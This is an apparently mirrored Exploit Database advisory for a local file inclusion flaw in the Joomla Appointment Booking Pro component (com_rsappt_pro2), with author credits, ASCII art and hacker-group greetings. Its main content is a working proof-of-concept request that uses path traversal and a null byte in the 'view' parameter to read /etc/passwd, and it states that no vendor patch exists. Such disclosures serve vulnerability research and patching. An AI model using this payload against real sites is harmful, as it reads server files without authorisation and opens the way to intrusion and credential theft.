Joomla! Component com_rsappt_pro2 – Local File Inclusion

• Exploit Database
• 123 阅读

• 作者： Don Tukulesto
  日期： 2011-07-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17553/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54

  Appointment Booking Pro is a native Joomla component ================================= Last login: Tue Jun7 2010 10:20:22 on ttys000 ______ ___ ______ ___///// ///__________/__ //______________________// :///\/__\////\/\/\//\/\/ / | ///// /////////__///__///// --X-- ////////////////__ / __/// |\____/__/__/\____/\____/__/__/__/\____/__//__///\____/\____/ : ____\____/: /\____________________ | ///\/\/\/\/ --X-- Don Tukulesto/ //__//__////__//__/| /////// __/__ /__ / : /__/__/\____/\____/\____///// www.indonesiancoder.com\____/\____/   Author : Don Tukulesto (root@indonesiancoder.com) Homepage : http://indonesiancoder.com Published : July 17, 2011 Tested On : OS X 10.5.8 =================================     ================================= | Software Info | ================================= [>] Vendor: http://www.appointmentbookingpro.com/ [>] Software: Appointment Booking Pro - ABPro Appointment Booking Pro is an appointment booking or scheduling, web site component. [>] Cost: $59   I. Proof of Concept ================================= index.php?option=com_rsappt_pro2&view=../../../etc/passwd%0000   III. Vendor patch ================================= Currently manufacturers do not provide patches or upgrades.     =================================   [>] INDONESIAN CODER ~ Server is Down ~ Malang Cyber Crew ~ Magelang Cyber ~ AntiSecurity ~ Exploit-ID [>] M364TR0N ~ Gonzhack ~ ibl13Z ~ kaMtiEz ~ k4L0ng666 ~ vYc0D ~ Xr0b0t ~ N4ck0 ~ r3m1ck ~ Kidd ~ Jundab [>] yur4kh4 ~ aN93l1c ~ Arianom ~ Pathloader ~ Contrex ~ Mboys ~ n4KuLa_ ~ m4ho666 ~ jos_ali_joe ~ mengau [>] kecemplungkalen ~ YaDoY666 ~ Jack- ~ xshadow ~ s4va ~ NoGe ~ kido ~ t3ll0 ~ cimpli ~ Xadal ~ Cyb3r_Tr0n   We are the watchmen, the hackers who quietly observe the scene. bit.ly/OpIDC   =================================